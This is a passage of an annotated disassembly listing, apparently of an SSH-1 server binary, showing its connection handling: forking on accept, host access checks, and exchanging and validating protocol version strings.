0804b15c  e8 1b ed ff ff                call    08049e7c <accept>
0804b161  89 c3                         mov     %eax,%ebx
0804b163  83 c4 10                      add     $0x10,%esp
0804b166  85 db                         test    %ebx,%ebx
0804b168  79 2e                         jns     0804b198 <Unknown0005+0xa9c>
0804b16a  e8 cd ec ff ff                call    08049e3c <__errno_location>
0804b16f  8b 00                         mov     (%eax),%eax
0804b171  83 f8 04                      cmp     $0x4,%eax
0804b174  0f 84 42 ff ff ff             je      0804b0bc <Unknown0005+0x9c0>   ;-190 'x42 xff xff xff' "B"
0804b17a  83 ec 0c                      sub     $0xc,%esp
0804b17d  50                            push    %eax
0804b17e  e8 69 ec ff ff                call    08049dec <strerror>
0804b183  5a                            pop     %edx
0804b184  59                            pop     %ecx
0804b185  50                            push    %eax
0804b186  68 01 bd 06 08                push    $0x806bd01   ;[in .rodata] 1701012321 'x61 x63 x63 x65' "accept:
                                                            %.100s"
0804b18b  e8 78 4c 00 00                call    0804fe08 <Unknown0040>
0804b190  83 c4 10                      add     $0x10,%esp
0804b193  e9 24 ff ff ff                jmp     0804b0bc <Unknown0005+0x9c0>   ;-220 'x24 xff xff xff' "$"
0804b198  8b 3d 94 7b 07 08             mov     0x8077b94,%edi   ;[in .data] 0 'x0 x0 x0 x0' ""
0804b19e  85 ff                         test    %edi,%edi
0804b1a0  0f 85 8e fc ff ff             jne     0804ae34 <Unknown0005+0x738>   ;-882 'x8e xfc xff xff' ""
0804b1a6  e8 61 eb ff ff                call    08049d0c <fork>
0804b1ab  85 c0                         test    %eax,%eax
0804b1ad  75 71                         jne     0804b220 <Unknown0005+0xb24>
0804b1af  83 ec 0c                      sub     $0xc,%esp
0804b1b2  ff 35 30 fc 07 08             pushl   0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b1b8  e8 1f eb ff ff                call    08049cdc <close>
0804b1bd  89 9d 5c fe ff ff             mov     %ebx,0xfffffe5c(%ebp)   ;-420 'x5c xfe xff xff' "\"
0804b1c3  89 9d 60 fe ff ff             mov     %ebx,0xfffffe60(%ebp)   ;-416 'x60 xfe xff xff' "`"
0804b1c9  8b 0d 90 db 07 08             mov     0x807db90,%ecx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b1cf  5b                            pop     %ebx
0804b1d0  ff 35 ac db 07 08             pushl   0x807dbac   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b1d6  31 d2                         xor     %edx,%edx
0804b1d8  85 c9                         test    %ecx,%ecx
0804b1da  ff 35 8c db 07 08             pushl   0x807db8c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b1e0  75 0e                         jne     0804b1f0 <Unknown0005+0xaf4>
0804b1e2  a1 94 7b 07 08                mov     0x8077b94,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804b1e7  85 c0                         test    %eax,%eax
0804b1e9  74 0f                         je      0804b1fa <Unknown0005+0xafe>
0804b1eb  eb 08                         jmp     0804b1f5 <Unknown0005+0xaf9>
0804b1ed  8d 76 00                      lea     0x0(%esi),%esi
```

```
0804b1f0   a1 94 7b 07 08            mov     0x8077b94,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804b1f5   ba 01 00 00 00            mov     $0x1,%edx        ;1 'x1 x0 x0 x0' ""
0804b1fa   52                        push    %edx
0804b1fb   31 d2                     xor     %edx,%edx
0804b1fd   85 c0                     test    %eax,%eax
0804b1ff   74 0e                     je      0804b20f <Unknown0005+0xb13>
0804b201   a1 98 7b 07 08            mov     0x8077b98,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804b206   85 c0                     test    %eax,%eax
0804b208   75 05                     jne     0804b20f <Unknown0005+0xb13>
0804b20a   ba 01 00 00 00            mov     $0x1,%edx        ;1 'x1 x0 x0 x0' ""
0804b20f   52                        push    %edx
0804b210   ff 35 34 fc 07 08         pushl   0x807fc34  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b216   e8 fd 48 00 00            call    0804fb18 <Unknown0035>
0804b21b   83 c4 20                  add     $0x20,%esp
0804b21e   eb 5c                     jmp     0804b27c <Unknown0005+0xb80>
0804b220   85 c0                     test    %eax,%eax
0804b222   79 20                     jns     0804b244 <Unknown0005+0xb48>
0804b224   83 ec 10                  sub     $0x10,%esp
0804b227   e8 10 ec ff ff            call    08049e3c <__errno_location>
0804b22c   5f                        pop     %edi
0804b22d   ff 30                     pushl   (%eax)
0804b22f   e8 b8 eb ff ff            call    08049dec <strerror>
0804b234   5a                        pop     %edx
0804b235   59                        pop     %ecx
0804b236   50                        push    %eax
0804b237   68 55 bd 06 08            push    $0x806bd55   ;[in .rodata] 1802661734 'x66 x6f x72 x6b' "fork:
                                                          %.100s"
0804b23c   e8 c7 4b 00 00            call    0804fe08 <Unknown0040>
0804b241   eb 0f                     jmp     0804b252 <Unknown0005+0xb56>
0804b243   90                        nop
0804b244   83 ec 08                  sub     $0x8,%esp
0804b247   50                        push    %eax
0804b248   68 62 bd 06 08            push    $0x806bd62   ;[in .rodata] 1802661702 'x46 x6f x72 x6b' "Forked
                                                          child %d."
0804b24d   e8 2e 4b 00 00            call    0804fd80 <Unknown0039>
0804b252   83 c4 10                  add     $0x10,%esp
0804b255   83 ec 0c                  sub     $0xc,%esp
0804b258   68 40 fc 07 08            push    $0x807fc40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b25d   c7 05 c0 7b 07 08 01 00 00 00  movl  $0x1,0x8077bc0  ;1 'x1 x0 x0 x0' ""
0804b267   e8 c8 95 00 00            call    08054834 <Unknown0102>
0804b26c   89 1c 24                  mov     %ebx,(%esp,1)
0804b26f   e8 68 ea ff ff            call    08049cdc <close>
0804b274   83 c4 10                  add     $0x10,%esp
0804b277   e9 40 fe ff ff            jmp     0804b0bc <Unknown0005+0x9c0>   ;-448 'x40 xfe xff xff' "@"
0804b27c   83 ec 0c                  sub     $0xc,%esp
0804b27f   6a 00                     push    $0x0
0804b281   e8 36 f2 ff ff            call    0804a4bc <alarm>
0804b286   5f                        pop     %edi
0804b287   58                        pop     %eax
0804b288   6a 00                     push    $0x0
0804b28a   6a 0e                     push    $0xe
0804b28c   e8 ab ea ff ff            call    08049d3c <signal>
0804b291   5b                        pop     %ebx
0804b292   5e                        pop     %esi
0804b293   6a 00                     push    $0x0
0804b295   6a 01                     push    $0x1
0804b297   e8 a0 ea ff ff            call    08049d3c <signal>
0804b29c   5a                        pop     %edx
0804b29d   59                        pop     %ecx
0804b29e   6a 00                     push    $0x0
0804b2a0   6a 0f                     push    $0xf
0804b2a2   e8 95 ea ff ff            call    08049d3c <signal>
0804b2a7   5f                        pop     %edi
0804b2a8   58                        pop     %eax
0804b2a9   6a 00                     push    $0x0
0804b2ab   6a 03                     push    $0x3
0804b2ad   e8 8a ea ff ff            call    08049d3c <signal>
0804b2b2   5b                        pop     %ebx
0804b2b3   5e                        pop     %esi
0804b2b4   6a 00                     push    $0x0
0804b2b6   6a 11                     push    $0x11
0804b2b8   e8 7f ea ff ff            call    08049d3c <signal>
0804b2bd   83 c4 0c                  add     $0xc,%esp
0804b2c0   68 40 fc 07 08            push    $0x807fc40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b2c5   ff b5 5c fe ff ff         pushl   0xfffffe5c(%ebp)   ;-420 'x5c xfe xff xff' "\"
0804b2cb   ff b5 60 fe ff ff         pushl   0xfffffe60(%ebp)   ;-416 'x60 xfe xff xff' "`"
0804b2d1   e8 42 a9 00 00            call    08055c18 <Unknown0126>
0804b2d6   e8 25 5c 00 00            call    08050f00 <Unknown0059>
0804b2db   83 c4 0c                  add     $0xc,%esp
0804b2de   50                        push    %eax
0804b2df   83 ec 08                  sub     $0x8,%esp
0804b2e2   e8 45 5a 00 00            call    08050d2c <Unknown0056>
0804b2e7   5a                        pop     %edx
0804b2e8   59                        pop     %ecx
```

```
0804b2e9  50                      push    %eax
0804b2ea  68 80 bd 06 08          push    $0x806bd80    ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                          from %.100s port %d"
0804b2ef  e8 28 49 00 00          call    0804fc1c <Unknown0036>
0804b2f4  e8 33 59 00 00          call    08050c2c <Unknown0055>
0804b2f9  89 85 48 fe ff ff       mov     %eax,0xfffffe48(%ebp)    ;-440 'x48 xfe xff xff' "H"
0804b2ff  e8 28 5a 00 00          call    08050d2c <Unknown0056>
0804b304  89 c7                   mov     %eax,%edi
0804b306  a1 fc e7 07 08          mov     0x807e7fc,%eax    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b30b  83 c4 10                add     $0x10,%esp
0804b30e  85 c0                   test    %eax,%eax
0804b310  74 3a                   je      0804b34c <Unknown0005+0xc50>
0804b312  31 db                   xor     %ebx,%ebx
0804b314  39 c3                   cmp     %eax,%ebx
0804b316  73 34                   jae     0804b34c <Unknown0005+0xc50>
0804b318  be 00 e8 07 08          mov     $0x807e800,%esi    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b31d  8d 76 00                lea     0x0(%esi),%esi
0804b320  50                      push    %eax
0804b321  ff 36                   pushl   (%esi)
0804b323  57                      push    %edi
0804b324  ff b5 48 fe ff ff       pushl   0xfffffe48(%ebp)    ;-440 'x48 xfe xff xff' "H"
0804b32a  e8 8d 25 01 00          call    0805d8bc <Unknown0258>
0804b32f  83 c4 10                add     $0x10,%esp
0804b332  85 c0                   test    %eax,%eax
0804b334  74 0a                   je      0804b340 <Unknown0005+0xc44>
0804b336  c7 85 58 fe ff ff 01 00 00 00  movl  $0x1,0xfffffe58(%ebp)  ;1 'x1 x0 x0 x0' ""
0804b340  43                      inc     %ebx
0804b341  83 c6 04                add     $0x4,%esi
0804b344  3b 1d fc e7 07 08       cmp     0x807e7fc,%ebx    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b34a  72 d4                   jb      0804b320 <Unknown0005+0xc24>
0804b34c  8b 9d 58 fe ff ff       mov     0xfffffe58(%ebp),%ebx    ;-424 'x58 xfe xff xff' "X"
0804b352  85 db                   test    %ebx,%ebx
0804b354  75 48                   jne     0804b39e <Unknown0005+0xca2>
0804b356  a1 f8 e3 07 08          mov     0x807e3f8,%eax    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b35b  85 c0                   test    %eax,%eax
0804b35d  74 3f                   je      0804b39e <Unknown0005+0xca2>
0804b35f  31 db                   xor     %ebx,%ebx
0804b361  be fc e3 07 08          mov     $0x807e3fc,%esi    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b366  eb 09                   jmp     0804b371 <Unknown0005+0xc75>
0804b368  83 c6 04                add     $0x4,%esi
0804b36b  43                      inc     %ebx
0804b36c  a1 f8 e3 07 08          mov     0x807e3f8,%eax    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b371  39 c3                   cmp     %eax,%ebx
0804b373  73 1b                   jae     0804b390 <Unknown0005+0xc94>
0804b375  51                      push    %ecx
0804b376  ff 36                   pushl   (%esi)
0804b378  57                      push    %edi
0804b379  ff b5 48 fe ff ff       pushl   0xfffffe48(%ebp)    ;-440 'x48 xfe xff xff' "H"
0804b37f  e8 38 25 01 00          call    0805d8bc <Unknown0258>
0804b384  83 c4 10                add     $0x10,%esp
0804b387  85 c0                   test    %eax,%eax
0804b389  74 dd                   je      0804b368 <Unknown0005+0xc6c>
0804b38b  a1 f8 e3 07 08          mov     0x807e3f8,%eax    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b390  39 c3                   cmp     %eax,%ebx
0804b392  72 0a                   jb      0804b39e <Unknown0005+0xca2>
0804b394  c7 85 58 fe ff ff 01 00 00 00  movl  $0x1,0xfffffe58(%ebp)  ;1 'x1 x0 x0 x0' ""
0804b39e  8b 95 58 fe ff ff       mov     0xfffffe58(%ebp),%edx    ;-424 'x58 xfe xff xff' "X"
0804b3a4  85 d2                   test    %edx,%edx
0804b3a6  74 30                   je      0804b3d8 <Unknown0005+0xcdc>
0804b3a8  a1 dc db 07 08          mov     0x807dbdc,%eax    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b3ad  85 c0                   test    %eax,%eax
0804b3af  74 27                   je      0804b3d8 <Unknown0005+0xcdc>
0804b3b1  83 ec 0c                sub     $0xc,%esp
0804b3b4  ff b5 60 fe ff ff       pushl   0xfffffe60(%ebp)    ;-416 'x60 xfe xff xff' "`"
0804b3ba  e8 1d e9 ff ff          call    08049cdc <close>
0804b3bf  5f                      pop     %edi
0804b3c0  ff b5 5c fe ff ff       pushl   0xfffffe5c(%ebp)    ;-420 'x5c xfe xff xff' "\"
0804b3c6  e8 11 e9 ff ff          call    08049cdc <close>
0804b3cb  c7 04 24 00 00 00 00    movl    $0x0,(%esp,1)    ;0 'x0 x0 x0 x0' ""
0804b3d2  e8 75 ef ff ff          call    0804a34c <exit>
0804b3d7  90                      nop
0804b3d8  83 ec 08                sub     $0x8,%esp
0804b3db  68 e0 a6 04 08          push    $0x804a6e0    ;0 'x0 x0 x0 x0' ""
0804b3e0  6a 0e                   push    $0xe
0804b3e2  e8 55 e9 ff ff          call    08049d3c <signal>
0804b3e7  8b 35 94 7b 07 08       mov     0x8077b94,%esi    ;[in .data] 0 'x0 x0 x0 x0' ""
0804b3ed  83 c4 10                add     $0x10,%esp
0804b3f0  85 f6                   test    %esi,%esi
0804b3f2  75 11                   jne     0804b405 <Unknown0005+0xd09>
0804b3f4  83 ec 0c                sub     $0xc,%esp
0804b3f7  ff 35 78 db 07 08       pushl   0x807db78    ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b3fd  e8 ba f0 ff ff          call    0804a4bc <alarm>
0804b402  83 c4 10                add     $0x10,%esp
0804b405  8b 9d 54 fe ff ff       mov     0xfffffe54(%ebp),%ebx    ;-428 'x54 xfe xff xff' "T"
```

```
0804b40b  85 db                    test    %ebx,%ebx
0804b40d  75 78                    jne     0804b487 <Unknown0005+0xd8b>
0804b40f  83 ec 08                 sub     $0x8,%esp
0804b412  68 41 b7 06 08           push    $0x806b741  ;[in .rodata] 775040561 'x31 x2e x32 x2e' "1.2.32"
0804b417  6a 05                    push    $0x5
0804b419  6a 01                    push    $0x1
0804b41b  68 9f bd 06 08           push    $0x806bd9f  ;[in .rodata] 759714643 'x53 x53 x48 x2d'
                                                       "SSH-%d.%d-%.50s"
0804b420  8d 9d e8 fe ff ff        lea     0xfffffee8(%ebp),%ebx  ;-280 'xe8 xfe xff xff' ""
0804b426  6a 64                    push    $0x64
0804b428  53                       push    %ebx
0804b429  e8 ae ee ff ff           call    0804a2dc <snprintf>
0804b42e  83 c4 18                 add     $0x18,%esp
0804b431  68 af bd 06 08           push    $0x806bdaf  ;[in .rodata] 1866661898 'xa x0 x43 x6f' ""
0804b436  53                       push    %ebx
0804b437  e8 70 ed ff ff           call    0804a1ac <strcat>
0804b43c  89 da                    mov     %ebx,%edx
0804b43e  89 d7                    mov     %edx,%edi
0804b440  fc                       cld
0804b441  31 c0                    xor     %eax,%eax
0804b443  b9 ff ff ff ff           mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804b448  f2 ae                    repnz scas %es:(%edi),%al
0804b44a  f7 d1                    not     %ecx
0804b44c  83 c4 0c                 add     $0xc,%esp
0804b44f  49                       dec     %ecx
0804b450  51                       push    %ecx
0804b451  53                       push    %ebx
0804b452  ff b5 5c fe ff ff        pushl   0xfffffe5c(%ebp)  ;-420 'x5c xfe xff xff' "\"
0804b458  e8 4f e8 ff ff           call    08049cac <write>
0804b45d  89 c2                    mov     %eax,%edx
0804b45f  89 df                    mov     %ebx,%edi
0804b461  31 c0                    xor     %eax,%eax
0804b463  fc                       cld
0804b464  b9 ff ff ff ff           mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804b469  f2 ae                    repnz scas %es:(%edi),%al
0804b46b  f7 d1                    not     %ecx
0804b46d  49                       dec     %ecx
0804b46e  83 c4 10                 add     $0x10,%esp
0804b471  39 ca                    cmp     %ecx,%edx
0804b473  74 12                    je      0804b487 <Unknown0005+0xd8b>
0804b475  83 ec 08                 sub     $0x8,%esp
0804b478  68 b1 bd 06 08           push    $0x806bdb1  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                       write ident string."
0804b47d  6a 01                    push    $0x1
0804b47f  e8 6c 4b 00 00           call    0804fff0 <Unknown0045>
0804b484  83 c4 10                 add     $0x10,%esp
0804b487  8b 8d 54 fe ff ff        mov     0xfffffe54(%ebp),%ecx  ;-428 'x54 xfe xff xff' "T"
0804b48d  85 c9                    test    %ecx,%ecx
0804b48f  75 53                    jne     0804b4e4 <Unknown0005+0xde8>
0804b491  31 f6                    xor     %esi,%esi
0804b493  eb 08                    jmp     0804b49d <Unknown0005+0xda1>
0804b495  8d 76 00                 lea     0x0(%esi),%esi
0804b498  3c 0a                    cmp     $0xa,%al
0804b49a  74 3f                    je      0804b4db <Unknown0005+0xddf>
0804b49c  46                       inc     %esi
0804b49d  83 fe 62                 cmp     $0x62,%esi
0804b4a0  77 5a                    ja      0804b4fc <Unknown0005+0xe00>
0804b4a2  52                       push    %edx
0804b4a3  8d bd e8 fe ff ff        lea     0xfffffee8(%ebp),%edi  ;-280 'xe8 xfe xff xff' ""
0804b4a9  6a 01                    push    $0x1
0804b4ab  8d 1c 3e                 lea     (%esi,%edi,1),%ebx
0804b4ae  53                       push    %ebx
0804b4af  ff b5 60 fe ff ff        pushl   0xfffffe60(%ebp)  ;-416 'x60 xfe xff xff' "`"
0804b4b5  e8 f2 ef ff ff           call    0804a4ac <read>
0804b4ba  83 c4 10                 add     $0x10,%esp
0804b4bd  48                       dec     %eax
0804b4be  74 12                    je      0804b4d2 <Unknown0005+0xdd6>
0804b4c0  83 ec 08                 sub     $0x8,%esp
0804b4c3  68 cf bd 06 08           push    $0x806bdcf  ;[in .rodata] 543451460 'x44 x69 x64 x20' "Did not
                                                       receive ident string."
0804b4c8  6a 01                    push    $0x1
0804b4ca  e8 21 4b 00 00           call    0804fff0 <Unknown0045>
0804b4cf  83 c4 10                 add     $0x10,%esp
0804b4d2  8a 03                    mov     (%ebx),%al
0804b4d4  3c 0d                    cmp     $0xd,%al
0804b4d6  75 c0                    jne     0804b498 <Unknown0005+0xd9c>
0804b4d8  c6 03 0a                 movb    $0xa,(%ebx)
0804b4db  c6 44 37 01 00           movb    $0x0,0x1(%edi,%esi,1)
0804b4e0  eb 1a                    jmp     0804b4fc <Unknown0005+0xe00>
0804b4e2  89 f6                    mov     %esi,%esi
0804b4e4  50                       push    %eax
0804b4e5  6a 63                    push    $0x63
0804b4e7  ff b5 54 fe ff ff        pushl   0xfffffe54(%ebp)  ;-428 'x54 xfe xff xff' "T"
0804b4ed  8d 85 e8 fe ff ff        lea     0xfffffee8(%ebp),%eax  ;-280 'xe8 xfe xff xff' ""
```

```
0804b4f3  50                          push    %eax
0804b4f4  e8 d3 ee ff ff              call    0804a3cc <strncpy>
0804b4f9  83 c4 10                    add     $0x10,%esp
0804b4fc  c6 85 4b ff ff ff 00        movb    $0x0,0xffffff4b(%ebp)  ;-181 'x4b xff xff xff' "K"
0804b503  83 ec 0c                    sub     $0xc,%esp
0804b506  8d b5 78 fe ff ff           lea     0xfffffe78(%ebp),%esi  ;-392 'x78 xfe xff xff' "x"
0804b50c  56                          push    %esi
0804b50d  8d 85 68 fe ff ff           lea     0xfffffe68(%ebp),%eax  ;-408 'x68 xfe xff xff' "h"
0804b513  50                          push    %eax
0804b514  8d 85 64 fe ff ff           lea     0xfffffe64(%ebp),%eax  ;-412 'x64 xfe xff xff' "d"
0804b51a  50                          push    %eax
0804b51b  68 ed bd 06 08              push    $0x806bded  ;[in .rodata] 759714643 'x53 x53 x48 x2d'
                                                            "SSH-%d.%d-%[^"
0804b520  8d 9d e8 fe ff ff           lea     0xfffffee8(%ebp),%ebx  ;-280 'xe8 xfe xff xff' ""
0804b526  53                          push    %ebx
0804b527  e8 40 ee ff ff              call    0804a36c <sscanf>
0804b52c  83 c4 20                    add     $0x20,%esp
0804b52f  83 f8 03                    cmp     $0x3,%eax
0804b532  74 4d                       je      0804b581 <Unknown0005+0xe85>
0804b534  ba fe bd 06 08              mov     $0x806bdfe,%edx  ;[in .rodata] 1953460816 'x50 x72 x6f x74'
                                                                "Protocol mismatch."
0804b539  57                          push    %edi
0804b53a  fc                          cld
0804b53b  89 d7                       mov     %edx,%edi
0804b53d  31 c0                       xor     %eax,%eax
0804b53f  b9 ff ff ff ff              mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804b544  f2 ae                       repnz scas %es:(%edi),%al
0804b546  f7 d1                       not     %ecx
0804b548  49                          dec     %ecx
0804b549  51                          push    %ecx
0804b54a  52                          push    %edx
0804b54b  ff b5 5c fe ff ff           pushl   0xfffffe5c(%ebp)  ;-420 'x5c xfe xff xff' "\"
0804b551  e8 56 e7 ff ff              call    08049cac <write>
0804b556  59                          pop     %ecx
0804b557  ff b5 60 fe ff ff           pushl   0xfffffe60(%ebp)  ;-416 'x60 xfe xff xff' "`"
0804b55d  e8 7a e7 ff ff              call    08049cdc <close>
0804b562  5a                          pop     %edx
0804b563  ff b5 5c fe ff ff           pushl   0xfffffe5c(%ebp)  ;-420 'x5c xfe xff xff' "\"
0804b569  e8 6e e7 ff ff              call    08049cdc <close>
0804b56e  83 c4 0c                    add     $0xc,%esp
0804b571  53                          push    %ebx
0804b572  68 20 be 06 08              push    $0x806be20  ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad protocol
                                                            version identification: %.100s"
0804b577  6a 01                       push    $0x1
0804b579  e8 72 4a 00 00              call    0804fff0 <Unknown0045>
0804b57e  83 c4 10                    add     $0x10,%esp
0804b581  56                          push    %esi
0804b582  ff b5 68 fe ff ff           pushl   0xfffffe68(%ebp)  ;-408 'x68 xfe xff xff' "h"
0804b588  ff b5 64 fe ff ff           pushl   0xfffffe64(%ebp)  ;-412 'x64 xfe xff xff' "d"
0804b58e  68 60 be 06 08              push    $0x806be60  ;[in .rodata] 1701407811 'x43 x6c x69 x65' "Client
                                                            protocol version %d.%d; client software version %.100s"
0804b593  e8 e8 47 00 00              call    0804fd80 <Unknown0039>
0804b598  83 c4 10                    add     $0x10,%esp
0804b59b  6a 00                       push    $0x0
0804b59d  6a 00                       push    $0x0
0804b59f  ff b5 68 fe ff ff           pushl   0xfffffe68(%ebp)  ;-408 'x68 xfe xff xff' "h"
0804b5a5  ff b5 64 fe ff ff           pushl   0xfffffe64(%ebp)  ;-412 'x64 xfe xff xff' "d"
0804b5ab  e8 c0 a5 00 00              call    08055b70 <Unknown0125>
0804b5b0  83 c4 10                    add     $0x10,%esp
0804b5b3  83 f8 01                    cmp     $0x1,%eax
0804b5b6  74 20                       je      0804b5d8 <Unknown0005+0xedc>
0804b5b8  83 f8 01                    cmp     $0x1,%eax
0804b5bb  7f 0f                       jg      0804b5cc <Unknown0005+0xed0>
0804b5bd  85 c0                       test    %eax,%eax
0804b5bf  0f 84 97 00 00 00           je      0804b65c <Unknown0005+0xf60>  ;151 'x97 x0 x0 x0' ""
0804b5c5  e9 82 00 00 00              jmp     0804b64c <Unknown0005+0xf50>  ;130 'x82 x0 x0 x0' ""
0804b5ca  89 f6                       mov     %esi,%esi
0804b5cc  83 f8 02                    cmp     $0x2,%eax
0804b5cf  74 5b                       je      0804b62c <Unknown0005+0xf30>
0804b5d1  83 f8 03                    cmp     $0x3,%eax
0804b5d4  74 66                       je      0804b63c <Unknown0005+0xf40>
0804b5d6  eb 74                       jmp     0804b64c <Unknown0005+0xf50>
0804b5d8  ba a0 be 06 08              mov     $0x806bea0,%edx  ;[in .rodata] 1953460816 'x50 x72 x6f x74'
                                                                "Protocol major versions differ."
0804b5dd  50                          push    %eax
0804b5de  89 d7                       mov     %edx,%edi
0804b5e0  fc                          cld
0804b5e1  31 c0                       xor     %eax,%eax
0804b5e3  b9 ff ff ff ff              mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804b5e8  f2 ae                       repnz scas %es:(%edi),%al
0804b5ea  f7 d1                       not     %ecx
0804b5ec  49                          dec     %ecx
0804b5ed  51                          push    %ecx
0804b5ee  52                          push    %edx
```

```
0804b5ef  ff b5 5c fe ff ff     pushl   0xfffffe5c(%ebp)   ;-420 'x5c xfe xff xff' "\"
0804b5f5  e8 b2 e6 ff ff        call    08049cac <write>
0804b5fa  5f                    pop     %edi
0804b5fb  ff b5 60 fe ff ff     pushl   0xfffffe60(%ebp)   ;-416 'x60 xfe xff xff' "`"
0804b601  e8 d6 e6 ff ff        call    08049cdc <close>
0804b606  5e                    pop     %esi
0804b607  ff b5 5c fe ff ff     pushl   0xfffffe5c(%ebp)   ;-420 'x5c xfe xff xff' "\"
0804b60d  e8 ca e6 ff ff        call    08049cdc <close>
0804b612  ff b5 64 fe ff ff     pushl   0xfffffe64(%ebp)   ;-412 'x64 xfe xff xff' "d"
0804b618  6a 01                 push    $0x1
0804b61a  68 e0 be 06 08        push    $0x806bee0  ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                      major versions differ: %d vs. %d"
0804b61f  6a 01                 push    $0x1
0804b621  e8 ca 49 00 00        call    0804fff0 <Unknown0045>
0804b626  83 c4 20              add     $0x20,%esp
0804b629  eb 31                 jmp     0804b65c <Unknown0005+0xf60>
0804b62b  90                    nop
0804b62c  83 ec 0c              sub     $0xc,%esp
0804b62f  68 20 bf 06 08        push    $0x806bf20  ;[in .rodata] 1920298841 'x59 x6f x75 x72' "Your ssh
                                                      version is too old and is no longer supported.  Please
                                                      install a newer version."
0804b634  e8 a7 b1 00 00        call    080567e0 <Unknown0157>
0804b639  eb 1e                 jmp     0804b659 <Unknown0005+0xf5d>
0804b63b  90                    nop
0804b63c  83 ec 0c              sub     $0xc,%esp
0804b63f  68 80 bf 06 08        push    $0x806bf80  ;[in .rodata] 1936287828 'x54 x68 x69 x73' "This server
                                                      does not support your new ssh version."
0804b644  e8 97 b1 00 00        call    080567e0 <Unknown0157>
0804b649  eb 0e                 jmp     0804b659 <Unknown0005+0xf5d>
0804b64b  90                    nop
0804b64c  83 ec 0c              sub     $0xc,%esp
0804b64f  68 c0 bf 06 08        push    $0x806bfc0  ;[in .rodata] 2019913301 'x55 x6e x65 x78' "Unexpected
                                                      return value from check_emulation."
0804b654  e8 03 49 00 00        call    0804ff5c <Unknown0044>
0804b659  83 c4 10              add     $0x10,%esp
0804b65c  8b 9d 58 fe ff ff     mov     0xfffffe58(%ebp),%ebx   ;-424 'x58 xfe xff xff' "X"
0804b662  85 db                 test    %ebx,%ebx
0804b664  74 22                 je      0804b688 <Unknown0005+0xf8c>
0804b666  e8 c1 55 00 00        call    08050c2c <Unknown0055>
0804b66b  83 ec 08              sub     $0x8,%esp
0804b66e  50                    push    %eax
0804b66f  68 00 c0 06 08        push    $0x806c000  ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                      from %.200s not allowed."
0804b674  e8 a3 45 00 00        call    0804fc1c <Unknown0036>
0804b679  c7 04 24 40 c0 06 08  movl    $0x806c040,(%esp,1)  ;[in .rodata] 1920102227 'x53 x6f x72 x72'
                                                      "Sorry, you are not allowed to connect."
0804b680  e8 5b b1 00 00        call    080567e0 <Unknown0157>
0804b685  83 c4 10              add     $0x10,%esp
0804b688  e8 53 a6 00 00        call    08055ce0 <Unknown0128>
0804b68d  83 ec 10              sub     $0x10,%esp
0804b690  e8 6b 58 00 00        call    08050f00 <Unknown0059>
0804b695  31 d2                 xor     %edx,%edx
0804b697  3d ff 03 00 00        cmp     $0x3ff,%eax  ;1023 'xff x3 x0 x0' ""
0804b69c  0f 9e c2              setle   %dl
0804b69f  89 14 24              mov     %edx,(%esp,1)
0804b6a2  e8 21 00 00 00        call    0804b6c8 <Unknown0006>
0804b6a7  c7 04 24 00 00 00 00  movl    $0x0,(%esp,1)  ;0 'x0 x0 x0 x0' ""
0804b6ae  e8 39 eb 00 00        call    0805a1ec <Unknown0216>
0804b6b3  83 c4 10              add     $0x10,%esp
0804b6b6  e8 c1 a6 00 00        call    08055d7c <Unknown0131>
0804b6bb  83 ec 0c              sub     $0xc,%esp
0804b6be  6a 00                 push    $0x0
0804b6c0  e8 87 ec ff ff        call    0804a34c <exit>
0804b6c5  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine #   6 >---------------------<
  ;
0804b6c8 <Unknown0006>:
0804b6c8  55                    push    %ebp
0804b6c9  89 e5                 mov     %esp,%ebp
0804b6cb  57                    push    %edi
0804b6cc  56                    push    %esi
0804b6cd  53                    push    %ebx
0804b6ce  83 ec 4c              sub     $0x4c,%esp
0804b6d1  31 ff                 xor     %edi,%edi
0804b6d3  8d 75 b0              lea     0xffffffb0(%ebp),%esi
0804b6d6  89 f6                 mov     %esi,%esi
0804b6d8  83 ec 0c              sub     $0xc,%esp
0804b6db  68 40 fc 07 08        push    $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b6e0  e8 73 98 00 00        call    08054f58 <Unknown0107>
0804b6e5  88 04 37              mov     %al,(%edi,%esi,1)
0804b6e8  47                    inc     %edi
```

```
0804b6e9    83 c4 10                 add      $0x10,%esp
0804b6ec    83 ff 07                 cmp      $0x7,%edi
0804b6ef    7e e7                    jle      0804b6d8 <Unknown0006+0x10>
0804b6f1    83 ec 0c                 sub      $0xc,%esp
0804b6f4    6a 02                    push     $0x2
0804b6f6    e8 19 a9 00 00           call     08056014 <Unknown0138>
0804b6fb    31 ff                    xor      %edi,%edi
0804b6fd    83 c4 10                 add      $0x10,%esp
0804b700    83 ec 0c                 sub      $0xc,%esp
0804b703    0f b6 04 37              movzbl   (%edi,%esi,1),%eax
0804b707    50                       push     %eax
0804b708    47                       inc      %edi
0804b709    e8 46 a9 00 00           call     08056054 <Unknown0140>
